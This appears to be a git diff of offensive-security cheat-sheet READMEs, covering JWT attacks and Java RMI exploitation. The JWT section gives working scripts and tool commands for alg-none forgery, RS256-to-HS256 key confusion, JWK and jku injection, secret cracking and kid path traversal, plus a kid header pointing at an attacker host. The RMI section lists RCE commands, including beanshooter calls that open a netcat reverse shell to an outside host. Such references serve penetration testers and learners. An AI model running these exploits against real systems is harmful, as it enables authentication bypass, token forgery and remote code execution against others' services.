+To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT. However, this won't work unless you **remove** the signature
+
 Alternatively you can modify an existing JWT (be careful with the expiration time)
 
-```python
+- Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
-#!/usr/bin/python
-# -*- coding: utf-8 -*-
 
-jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ"
+    ```ps1
-header, payload, signature  = jwt.split('.')
+    python3 jwt_tool.py [JWT_HERE] -X a
+    ```
 
-# Replacing the ALGO and the payload username
+- Manually editing the JWT
-header  = header.decode('base64').replace('HS256',"none")
-payload = (payload+"==").decode('base64').replace('test','admin')
 
-header  = header.encode('base64').strip().replace("=","")
+    ```python
-payload = payload.encode('base64').strip().replace("=","")
+    import jwt
 
-# 'The algorithm 'none' is not supported'
+    jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'
-print( header+"."+payload+".")
+    decodedToken = jwt.decode(jwtToken, verify=False)       
-```
 
-## JWT Signature - RS256 to HS256
+    # decode the token before encoding with type 'None'
+    noneEncoded = jwt.encode(decodedToken, key='', algorithm=None)
 
-Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data.
+    print(noneEncoded.decode())
+    ```
 
-> The algorithm HS256 uses the secret key to sign and verify each message.
+### JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)
-> The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.
+
+If a server’s code is expecting a token with "alg" set to RSA, but receives a token with "alg" set to HMAC, it may inadvertently use the public key as the HMAC symmetric key when verifying the signature.
+
+Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data. When the applications use the same RSA key pair as their TLS web server: `openssl s_client -connect example.com:443 | openssl x509 -pubkey -noout`
+
+> The algorithm **HS256** uses the secret key to sign and verify each message.
+> The algorithm **RS256** uses the private key to sign the message and uses the public key for authentication.
 
 ```python
 import jwt
@@ -118,45 +199,141 @@ print public
 print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
 ```
 
-Note: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version
+:warning: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version: `pip install pyjwt==0.4.3`.
 
-`pip install pyjwt==0.4.3`.
+- Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
 
-## Breaking JWT's secret
+    ```ps1
+    python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem
+    ```
 
-Encode/Decode JWT with the secret.
+- Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
+    1. Find the public key, usually in `/jwks.json` or `/.well-known/jwks.json`
+    2. Load it in the JWT Editor Keys tab, click `New RSA Key`.
+    3. . In the dialog, paste the JWK that you obtained earlier: `{"kty":"RSA","e":"AQAB","use":"sig","kid":"961a...85ce","alg":"RS256","n":"16aflvW6...UGLQ"}`
+    4. Select the PEM radio button and copy the resulting PEM key.
+    5. Go to the Decoder tab and Base64-encode the PEM.
+    6. Go back to the JWT Editor Keys tab and generate a `New Symmetric Key` in JWK format.
+    7. Replace the generated value for the k parameter with a Base64-encoded PEM key that you just copied.
+    8. Edit the JWT token alg to `HS256` and the data.
+    9. Click `Sign` and keep the option: `Don't modify header`
 
-```python
+- Manually using the following steps to edit an RS256 JWT token into an HS256
-import jwt
+    1. Convert our public key (key.pem) into HEX with this command.
-encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') # encode with 'secret'
 
-encoded = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE"
+        ```powershell
-jwt.decode(encoded, 'Sn1f', algorithms=['HS256']) # decode with 'Sn1f' as the secret key
+        $ cat key.pem | xxd -p | tr -d "\\n"
+        2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
+        ```
 
-# result
+    2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.
-{u'admin': True, u'sub': u'1234567890', u'name': u'John Doe'}
+
+        ```powershell
+        $ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
+
+        (stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
+        ```
+
+    3. Convert signature (Hex to "base64 URL")
+
+        ```powershell
+        python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
+        ```
+
+    4. Add signature to edited payload
+
+        ```powershell
+        [HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
+        eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
+        ```
+
+### JWT Signature - Key Injection Attack (CVE-2018-0114)
+
+> A vulnerability in the Cisco node-jose open source library before 0.11.0 could allow an unauthenticated, remote attacker to re-sign tokens using a key that is embedded within the token. The vulnerability is due to node-jose following the JSON Web Signature (JWS) standard for JSON Web Tokens (JWTs). This standard specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header.
+
+**Exploit**:
+
+- Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
+
+    ```ps1
+    python3 jwt_tool.py [JWT_HERE] -X i
+    ```
+
+- Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
+    1. Add a `New RSA key`
+    2. In the JWT's Repeater tab, edit data
+    3. `Attack` > `Embedded JWK`
+
+**Deconstructed**:
+
+```json
+{
+  "alg": "RS256",
+  "typ": "JWT",
+  "jwk": {
+    "kty": "RSA",
+    "kid": "jwt_tool",
+    "use": "sig",
+    "e": "AQAB",
+    "n": "uKBGiwYqpqPzbK6_fyEp71H3oWqYXnGJk9TG3y9K_uYhlGkJHmMSkm78PWSiZzVh7Zj0SFJuNFtGcuyQ9VoZ3m3AGJ6pJ5PiUDDHLbtyZ9xgJHPdI_gkGTmT02Rfu9MifP-xz2ZRvvgsWzTPkiPn-_cFHKtzQ4b8T3w1vswTaIS8bjgQ2GBqp0hHzTBGN26zIU08WClQ1Gq4LsKgNKTjdYLsf0e9tdDt8Pe5-KKWjmnlhekzp_nnb4C2DMpEc1iVDmdHV2_DOpf-kH_1nyuCS9_MnJptF1NDtL_lLUyjyWiLzvLYUshAyAW6KORpGvo2wJa2SlzVtzVPmfgGW7Chpw"
+  }
+}.
+{"login":"admin"}.
+[Signed with new Private key; Public key injected]
 ```
 
-### JWT tool
+### JWT Signature - Recover Public Key From Signed JWTs
 
-First, bruteforce the "secret" key used to compute the signature.
+The RS256, RS384 and RS512 algorithms use RSA with PKCS#1 v1.5 padding as their signature scheme. This has the property that you can compute the public key given two different messages and accompanying signatures.
+
+[SecuraBV/jws2pubkey](https://github.com/SecuraBV/jws2pubkey): compute an RSA public key from two signed JWTs
+
+```ps1
+$ docker run -it ttervoort/jws2pubkey JWS1 JWS2
+$ docker run -it ttervoort/jws2pubkey "$(cat sample-jws/sample1.txt)" "$(cat sample-jws/sample2.txt)" | tee pubkey.jwk
+Computing public key. This may take a minute...
+{"kty": "RSA", "n": "sEFRQzskiSOrUYiaWAPUMF66YOxWymrbf6PQqnCdnUla8PwI4KDVJ2XgNGg9XOdc-jRICmpsLVBqW4bag8eIh35PClTwYiHzV5cbyW6W5hXp747DQWan5lIzoXAmfe3Ydw65cXnanjAxz8vqgOZP2ptacwxyUPKqvM4ehyaapqxkBbSmhba6160PEMAr4d1xtRJx6jCYwQRBBvZIRRXlLe9hrohkblSrih8MdvHWYyd40khrPU9B2G_PHZecifKiMcXrv7IDaXH-H_NbS7jT5eoNb9xG8K_j7Hc9mFHI7IED71CNkg9RlxuHwELZ6q-9zzyCCcS426SfvTCjnX0hrQ", "e": "AQAB"}
+```
+
+## JWT Secret
+
+> To create a JWT, a secret key is used to sign the header and payload, which generates the signature. The secret key must be kept secret and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker is able to access the secret key, they can create, modify or sign their own tokens, bypassing the intended security controls.
+
+### Encode and Decode JWT with the secret
+
+- Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool):
+
+    ```ps1
+    jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds
+    jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds -T
+    
+    Token header values:
+    [+] alg = "HS256"
+    [+] typ = "JWT"
+
+    Token payload values:
+    [+] name = "John Doe"
+    ```
+
+- Using [pyjwt](https://pyjwt.readthedocs.io/en/stable/): `pip install pyjwt`
+
+    ```python
+    import jwt
+    encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
+    jwt.decode(encoded, 'secret', algorithms=['HS256']) 
+    ```
+
+### Break JWT secret
+
+Useful list of 3502 public-available JWT: [wallarm/jwt-secrets/jwt.secrets.list](https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list), including `your_jwt_secret`, `change_this_super_secret_random_string`, etc.
+
+#### JWT tool
+
+First, bruteforce the "secret" key used to compute the signature using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
 
 ```powershell
-git clone https://github.com/ticarpi/jwt_tool
+python3 -m pip install termcolor cprint pycryptodomex requests
-python2.7 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI /tmp/wordlist
+python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C
-
-Token header values:
-[+] alg = HS256
-[+] typ = JWT
-
-Token payload values:
-[+] sub = 1234567890
-[+] role = user
-[+] iat = 1516239022
-
-File loaded: /tmp/wordlist
-Testing 5 passwords...
-[+] secret is the CORRECT key!
 ```
 
 Then edit the field inside the JSON Web Token.
@@ -170,8 +347,7 @@ Please enter new value and hit ENTER
 [3] iat = 1516239022
 [0] Continue to next step
 
-Please select a field number:
+Please select a field number (or 0 to Continue):
-(or 0 to Continue)
 > 0
 ```
 
@@ -190,7 +366,7 @@ Please select an option from above (1-4):
 Please enter the known key:
 > secret
 
-Please enter the keylength:
+Please enter the key length:
 [1] HMAC-SHA256
 [2] HMAC-SHA384
 [3] HMAC-SHA512
@@ -201,34 +377,165 @@ Your new forged token:
 [+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic
 ```
 
-### JWT cracker
+- Recon: `python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw`
+- Scanning: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb`
+- Exploitation: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
+- Fuzzing: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt`
+- Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
 
-```bash
+#### Hashcat
-git clone https://github.com/brendan-rius/c-jwt-cracker
+
-./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
+> Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](https://twitter.com/hashcat/status/955154646494040065)
-Secret is "Sn1f"
+
+- Dictionary attack: `hashcat -a 0 -m 16500 jwt.txt wordlist.txt`
+- Rule-based attack: `hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule`
+- Brute force attack: `hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6`
+
+## JWT Claims
+
+[IANA's JSON Web Token Claims](https://www.iana.org/assignments/jwt/jwt.xhtml)
+
+### JWT kid Claim Misuse
+
+The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header parameter that is used to indicate the identifier of the cryptographic key that was used to sign or encrypt the JWT. It is important to note that the key identifier itself does not provide any security benefits, but rather it enables the recipient to locate the key that is needed to verify the integrity of the JWT.
+
+- Example #1 : Local file
+
+    ```json
+    {
+    "alg": "HS256",
+    "typ": "JWT",
+    "kid": "/root/res/keys/secret.key"
+    }
+    ```
+
+- Example #2 : Remote file
+
+    ```json
+    {
+        "alg":"RS256",
+        "typ":"JWT",
+        "kid":"http://localhost:7070/privKey.key"
+    }
+    ```
+
+The content of the file specified in the kid header will be used to generate the signature.
+
+```js
+// Example for HS256
+HMACSHA256(
+  base64UrlEncode(header) + "." +
+  base64UrlEncode(payload),
+  your-256-bit-secret-from-secret.key
+)
 ```
 
-### Hashcat
+The common ways to misuse the kid header:
 
-> Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](twitter.com/hashcat/status/955154646494040065)
+- Get the key content to change the payload
+- Change the key path to force your own
 
-```bash
+    ```py
-/hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a?a
+    >>> jwt.encode(
-eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret
+    ...     {"some": "payload"},
+    ...     "secret",
+    ...     algorithm="HS256",
+    ...     headers={"kid": "http://evil.example.com/custom.key"},
+    ... )
+    ```
+
+- Change the key path to a file with a predictable content.
+
+  ```ps1
+  python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
+  python3 jwt_tool.py <JWT> -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2"
+  ```
+
+- Modify the kid header to attempt SQL and Command Injections
+
+### JWKS - jku header injection
+
+"jku" header value points to the URL of the JWKS file. By replacing the "jku" URL with an attacker-controlled URL containing the Public Key, an attacker can use the paired Private Key to sign the token and let the service retrieve the malicious Public Key and verify the token.
+
+It is sometimes exposed publicly via a standard endpoint:
+
+- `/jwks.json`
+- `/.well-known/jwks.json`
+- `/openid/connect/jwks.json`
+- `/api/keys`
+- `/api/v1/keys`
+- [`/{tenant}/oauth2/v1/certs`](https://docs.theidentityhub.com/doc/Protocol-Endpoints/OpenID-Connect/OpenID-Connect-JWKS-Endpoint.html)
+
+You should create your own key pair for this attack and host it. It should look like that:
+
+```json
+{
+    "keys": [
+        {
+            "kid": "beaefa6f-8a50-42b9-805a-0ab63c3acc54",
+            "kty": "RSA",
+            "e": "AQAB",
+            "n": "nJB2vtCIXwO8DN[...]lu91RySUTn0wqzBAm-aQ"
+        }
+    ]
+}
 ```
 
+**Exploit**:
+
+- Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
+
+    ```ps1
+    python3 jwt_tool.py JWT_HERE -X s
+    python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/jwks.json
+    ```
+
+- Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
+    1. Generate a new RSA key and host it
+    2. Edit JWT's data
+    3. Replace the `kid` header with the one from your JWKS
+    4. Add a `jku` header and sign the JWT (`Don't modify header` option should be checked)
+
+**Deconstructed**:
+
+```json
+{"typ":"JWT","alg":"RS256", "jku":"https://example.com/jwks.json", "kid":"id_of_jwks"}.
+{"login":"admin"}.
+[Signed with new Private key; Public key exported]
+```
+
+## Labs
+
+- [PortSwigger - JWT authentication bypass via unverified signature](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature)
+- [PortSwigger - JWT authentication bypass via flawed signature verification](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification)
+- [PortSwigger - JWT authentication bypass via weak signing key](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key)
+- [PortSwigger - JWT authentication bypass via jwk header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)
+- [PortSwigger - JWT authentication bypass via jku header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection)
+- [PortSwigger - JWT authentication bypass via kid header path traversal](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal)
+- [Root Me - JWT - Introduction](https://www.root-me.org/fr/Challenges/Web-Serveur/JWT-Introduction)
+- [Root Me - JWT - Revoked token](https://www.root-me.org/en/Challenges/Web-Server/JWT-Revoked-token)
+- [Root Me - JWT - Weak secret](https://www.root-me.org/en/Challenges/Web-Server/JWT-Weak-secret)
+- [Root Me - JWT - Unsecure File Signature](https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-File-Signature)
+- [Root Me - JWT - Public key](https://www.root-me.org/en/Challenges/Web-Server/JWT-Public-key)
+- [Root Me - JWT - Header Injection](https://www.root-me.org/en/Challenges/Web-Server/JWT-Header-Injection)
+- [Root Me - JWT - Unsecure Key Handling](https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-Key-Handling)
+
 ## References
 
-- [Hacking JSON Web Token (JWT) - Hate_401](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6)
+- [5 Easy Steps to Understanding JSON Web Token - Shaurya Sharma - December 21, 2019](https://medium.com/cyberverse/five-easy-steps-to-understand-json-web-tokens-jwt-7665d2ddf4d5)
-- [WebSec CTF - Authorization Token - JWT Challenge](https://ctf.rip/websec-ctf-authorization-token-jwt-challenge/)
+- [Attacking JWT authentication - Sjoerd Langkemper - September 28, 2016](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/)
-- [Privilege Escalation like a Boss - October 27, 2018 - janijay007](https://blog.securitybreached.org/2018/10/27/privilege-escalation-like-a-boss/)
+- [Club EH RM 05 - Intro to JSON Web Token Exploitation - Nishacid - February 23, 2023](https://www.youtube.com/watch?v=d7wmUz57Nlg)
-- [5 Easy Steps to Understanding JSON Web Token](https://medium.com/vandium-software/5-easy-steps-to-understanding-json-web-tokens-jwt-1164c0adfcec)
+- [Critical vulnerabilities in JSON Web Token libraries - Tim McLean - March 31, 2015](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//)
-- [Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify Blog](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
+- [Hacking JSON Web Token (JWT) - pwnzzzz - May 3, 2018](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6)
-- [HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng)](https://nandynarwhals.org/hitbgsec2017-pasty/)
+- [Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify - February 9, 2017](https://web.archive.org/web/20220305042224/https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
-- [Critical vulnerabilities in JSON Web Token libraries - March 31, 2015 - Tim McLean](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//)
+- [Hacking JSON Web Tokens - Vickie Li - October 27, 2019](https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a)
-- [Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq](https://github.com/dwyl/learn-json-web-tokens)
+- [HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng) - August 27, 2017](https://nandynarwhals.org/hitbgsec2017-pasty/)
-- [Simple JWT hacking - @b1ack_h00d](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750)
+- [How to Hack a Weak JWT Implementation with a Timing Attack - Tamas Polgar - January 7, 2017](https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9)
-- [Attacking JWT authentication - Sep 28, 2016 - Sjoerd Langkemper](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/)
+- [JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight - April 16, 2020](https://insomniasec.com/blog/auth0-jwt-validation-bypass)
-- [How to Hack a Weak JWT Implementation with a Timing Attack - Jan 7, 2017 - Tamas Polgar](https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9)
+- [JSON Web Token Vulnerabilities - 0xn3va - March 27, 2022](https://0xn3va.gitbook.io/cheat-sheets/web-application/json-web-token-vulnerabilities)
-- [HACKING JSON WEB TOKENS, FROM ZERO TO HERO WITHOUT EFFORT - Thu Feb 09 2017 - @pdp](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
+- [JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8, 2017](https://trustfoundry.net/jwt-hacking-101/)
+- [Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq - May 3, 2022](https://github.com/dwyl/learn-json-web-tokens)
+- [Privilege Escalation like a Boss - janijay007 - October 27, 2018](https://blog.securitybreached.org/2018/10/27/privilege-escalation-like-a-boss/)
+- [Simple JWT hacking - Hari Prasanth (@b1ack_h00d) - March 7, 2019](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750)
+- [WebSec CTF - Authorization Token - JWT Challenge - Kris Hunt - August 7, 2016](https://ctf.rip/websec-ctf-authorization-token-jwt-challenge/)
+- [Write up – JRR Token – LeHack 2019 - Laphaze - July 7, 2019](https://web.archive.org/web/20210512205928/https://rootinthemiddle.org/write-up-jrr-token-lehack-2019/)

Java RMI/README.md

@@ -0,0 +1,145 @@
+# Java RMI
+
+> Java RMI (Remote Method Invocation) is a Java API that allows an object running in one JVM (Java Virtual Machine) to invoke methods on an object running in another JVM, even if they're on different physical machines. RMI provides a mechanism for Java-based distributed computing.
+
+## Summary
+
+* [Tools](#tools)
+* [Detection](#detection)
+* [Methodology](#methodology)
+    * [RCE using beanshooter](#rce-using-beanshooter)
+    * [RCE using sjet/mjet](#rce-using-sjet-or-mjet)
+    * [RCE using Metasploit](#rce-using-metasploit)
+* [References](#references)
+
+## Tools
+
+* [siberas/sjet](https://github.com/siberas/sjet) - siberas JMX exploitation toolkit
+* [mogwailabs/mjet](https://github.com/mogwailabs/mjet) - MOGWAI LABS JMX exploitation toolkit
+* [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - Java RMI Vulnerability Scanner
+* [qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) - JMX enumeration and attacking tool.
+
+## Detection
+
+* Using [nmap](https://nmap.org/):
+
+  ```powershell
+  $ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v
+  1089/tcp open  java-rmi Java RMI
+  | rmi-vuln-classloader:
+  |   VULNERABLE:
+  |   RMI registry default configuration remote code execution vulnerability
+  |     State: VULNERABLE
+  |       Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
+  | rmi-dumpregistry:
+  |   jmxrmi
+  |     javax.management.remote.rmi.RMIServerImpl_Stub
+  ```
+
+* Using [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser):
+
+  ```bash
+  $ rmg scan 172.17.0.2 --ports 0-65535
+  [+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
+  [+]  [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
+  [+]  [HIT] Found RMI service(s) on 172.17.0.2:1090  (Registry, DGC)
+  [+]  [HIT] Found RMI service(s) on 172.17.0.2:9010  (Registry, Activator, DGC)
+  [+]  [6234 / 6234] [#############################] 100%
+  [+] Portscan finished.
+
+  $ rmg enum 172.17.0.2 9010
+  [+] RMI registry bound names:
+  [+]
+  [+]  - plain-server2
+  [+]   --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
+  [+]       Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
+  [+]  - legacy-service
+  [+]   --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
+  [+]       Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
+  [+]  - plain-server
+  [+]   --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
+  [+]       Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
+  [...]
+  ```
+
+* Using [rapid7/metasploit-framework](https://github.com/rapid7/metasploit-framework)
+
+  ```bash
+  use auxiliary/scanner/misc/java_rmi_server
+  set RHOSTS <IPs>
+  set RPORT <PORT>
+  run
+  ```
+
+## Methodology
+
+If a Java Remote Method Invocation (RMI) service is poorly configured, it becomes vulnerable to various Remote Code Execution (RCE) methods. One method involves hosting an MLet file and directing the JMX service to load MBeans from a distant server, achievable using tools like mjet or sjet. The remote-method-guesser tool is newer and combines RMI service enumeration with an overview of recognized attack strategies.
+
+### RCE using beanshooter
+
+* List available attributes: `beanshooter info 172.17.0.2 9010`
+* Display value of an attribute: `beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose`
+* Set the value of an attribute: `beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean`
+* Bruteforce a password protected JMX service: `beanshooter brute 172.17.0.2 1090`
+* List registered MBeans: `beanshooter list 172.17.0.2 9010`
+* Deploy an MBean: `beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000`
+* Enumerate JMX endpoint: `beanshooter enum 172.17.0.2 1090`
+* Invoke method on a JMX endpoint: `beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'`
+* Invoke arbitrary public and static Java methods:
+
+    ```ps1
+    beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
+    beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
+    ```
+
+* Standard MBean execution: `beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'`
+* Deserialization attacks on a JMX endpoint: `beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin`
+
+### RCE using sjet or mjet
+
+#### Requirements
+
+* Jython
